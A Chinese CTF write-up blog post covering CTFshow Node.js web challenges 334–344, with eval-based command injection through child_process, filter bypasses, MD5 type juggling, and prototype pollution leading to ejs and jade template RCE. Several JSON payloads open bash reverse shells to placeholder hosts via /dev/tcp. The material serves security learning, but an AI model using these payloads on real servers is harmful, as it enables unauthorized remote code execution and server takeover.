CTFshow-WEB入门-node.js

前言

刚学了2天的node.js,我还是太菜了官方文档看的太懵,听学长说node.js的漏洞就那些,不用那么专注的学习。但是考虑到我对于javascript和node.js都实在不太懂,因此打算一遍做题,一遍学node.js的基础知识。
后来:终于把官方文档中的learn给看了一遍,大致对node.js有了一部分了解,也是肝下了人生中第一个英文的文档,参考链接:
Node.js learn

web334

主要关注这段代码:

var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

toUpperCase()是把字符串转小写,因此用小写绕过即可。

username=ctfshow&password=123456

羽师傅还提到了个trick:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

学习一波。

web335

f12看到/?eval=,猜测是eval()函数,查了一下,可以利用child_process的exec来执行系统命令。
用了一下网上的payload,回显很奇怪:
在这里插入图片描述
然后就是想办法弹shell之类的,发现都不太行。(node.js萌新落泪)。
看了一下Y4师傅和羽师傅的博客,大致理解了这道题。
这题的代码可能是这样:
eval('console.log(xxx)')
查一下这个exec函数,返回值还是一个ChildProcess
在这里插入图片描述
所以会打印出[object Object]
Y4师傅用的是execSync():
在这里插入图片描述
因此可以直接打印出命令执行的结果:

require('child_process').execSync('ls').toString()

羽师傅用的是

eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

在这里插入图片描述

web336

ban了exec,用之前羽师傅的姿势即可:

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

再学习一下Y4师傅的姿势,因为对于node.js不熟悉,这样的小知识点只能慢慢从大师傅们的博客中学习了。

首先是两个东西:

__filename
__dirname

在这里插入图片描述
因此可以利用__filename来获得当然的模块文件路径:
在这里插入图片描述
然后读取文件:

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

发现过滤了exec和load。
这时候就利用和ssti中有些类似的绕过手法了:

?eval=require('child_process')['exe'+'cSync']('ls').toString()

在这里插入图片描述

还有一种方法,就是利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件:

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

学到了学到了,node.js的官方文档还是偷懒没看完,又去看了一下果然fs模块的东西后面也都有,还是不能偷懒啊。

web337

关键点就是这里了

    var a = req.query.a;
    var b = req.query.b;
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
        res.end(flag);

弱类型和数组绕过在php见的太多了,第一次在node.js中遇到,把源码弄了下来,本地复现了一下:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
    res.type('html');
    var flag='xxxxxxx';
    var a = req.query.a;
    var b = req.query.b;
    console.log(a)
    console.log(b)
    if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
        res.end(flag);
    }else{
    
    
        res.end("no")
    }

});

let app=express()
app.use('/',router)
app.listen(39123)

这题很明显可以想到拿数组绕过,但是,数组传过去,req.query.a到底得到的是什么。如果这样:a[]=1&b[]=2
在这里插入图片描述
得到的正好就是数组。这时候就相当于需要['1']+flag===['2']+flag。注意一下node.js中拼接的问题:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

这时候就有一种思路了,就是类似['a']+flag==='a'+flag这样的,比如flag是flag{123},那么最后得到的都是aflag[123},因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag),同时也满足a!==b
在这里插入图片描述

还有一种思路。理解一下javascript的数组,会发现它相对来说,和python的列表更为相像,而不像php的数组,因为它只能是数字索引,那么如果传非数字索引呢?:

?a[x]=1&b[x]=2

在这里插入图片描述

变成javascript中的对象了。而对象又有这样的特点:

let a={
    
    
    x:'1'
}
console.log(a+"flag{123}")
//返回的是: [object Object]flag{123}

因此传入两个对象,进行变量拼接后得到的都是[object Object]ctfshow{xxxxxx},再进行md5肯定也是相同的。本来我以为还需要让a对象和b对象的有不同的键或者虽然键全是相同的,但是有值不同,这样来满足a!==b,但是发现并不需要,因为甚至这样,返回的都是false:

let a={
    
    
    x:'1'
}
let b={
    
    
    x:'2'
}
console.log(a===b)
//false

感觉这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b

web338

原型链污染,node.js最常见的考点了,参考链接:

深入理解 JavaScript Prototype 污染攻击

原型链污染的文章网上太多了,这里就不多介绍了,直接打了:

application/json

{
    
    "__proto__":{
    
    "ctfshow":"36dboy"}}

web339

预期解

做这题之前建议先把p神Code-Breaking 2018 Thejs这题给看一下,同样是模板渲染导致的rce。
看完之后再来看这题,整体审一下代码,还是这里可以原型链污染:

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  //console.log(user.query)
  if(secert.ctfshow===flag){
    
    
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

但是if(secert.ctfshow===flag){ 是没法满足的,因此这里没法利用。
一开始感觉api.js没有用,其实再想想的话,这里:

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  res.render('api', {
    
     query: Function(query)(query)});
   
});

进行模板渲染,联想上面的Thejs那题,这里Function的参数和里面的js语句如果可控的话就同样是模板渲染导致的rce了。那么能不能利用原型链污染来控制这个query呢?是可以的,这里我问了一下Y4师傅,它是这样回答的:

因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键zhi对是否存在

在这里插入图片描述
想了好久没理解,终于懂了。
因此直接rce来反弹shell即可:

{
    
    "__proto__":{
    
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

之所以要套2层bash,就是本地测试,发现一层bash的话会报错:
在这里插入图片描述
先/login那里污染一下发包,然后再post访问一下/api即可。
payload中不用require的原因是这个:

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

非预期

非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:

{
    
    "__proto__":{
    
    "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

参考文章:
Express+lodash+ejs: 从原型链污染到RCE
XNUCA2019 Hardjs题解 从原型链污染到RCE
有一说一我只看最后那部分。。中间一堆跟进看的我脑子疼。。。还是太菜了,慢慢学习node.js,慢慢提升一下代码审计的能力。

web340

和上一题差不多,只不过这里不一样:

  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
   res.end(flag);
  }else{
    
    
   return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});  
  }

可以看到,user.__proto__并不是Object.prototypeuser.__proto.__proto__才是:
在这里插入图片描述

因此污染两层即可:

{
    
    "__proto__":{
    
    "__proto__":{
    
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.11/11111 0>&1\"')"}}}

web341

使用之前的那个ejs rce,先进行一下原型链污染,再刷新一次即可:

{
    
    "__proto__":{
    
    "__proto__":{
    
    "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}

web342

对比了一下这题和之前题目的区别,发现模板引擎改成了jade,网上找的用不了,用一下L0nm4r师傅的博客里写的:

{
    
    "__proto__":{
    
    "__proto__":{
    
    "type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

几个node模板引擎的原型链污染分析

web343

同上。ejs,还有jade的这些模板rce暂时只用,不去具体跟着网上的文章审了。现在暂时对于node.js只是刚刚入门,代码也只能看懂很少的一部分,去跟着网上的文章审计,对于现在的我来说并不能学到什么东西,等自己的node.js功底更深了,对于开发的思维更深了,再来复现,才能学到更多的东西,有自己的思考。

web344

看一下代码:

router.get('/', function(req, res, next) {
    
    
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
    
    
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    
    
        res.end(flag);
    }else{
    
    
        res.end('222where is flag. :)');
    }

});

正常就是这样:?query={"name":"admin","password":"ctfshow","isVIP":true},但是不行,发现把逗号给过滤了,想不出来绕过的办法,看了一下羽师傅的文章。

有2个点,一个点就是node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的。把这部分代码改一下:

    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
    
    
        res.end('111where is flag :)');
    }
    console.log(req.query.query)
    var query = JSON.parse(req.query.query);
    console.log(query)

分别console.log,本地测试一下就可以看到,req.url是经过编码的,因此可以考虑把逗号进行url编码,但是会发现2c被ban了,因此%2c来绕过也没法绕,因此要利用node.js本身的特性。
在这里插入图片描述

这样传:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

在这里插入图片描述
首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。学到了学到了,很有意思的特性。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/115218397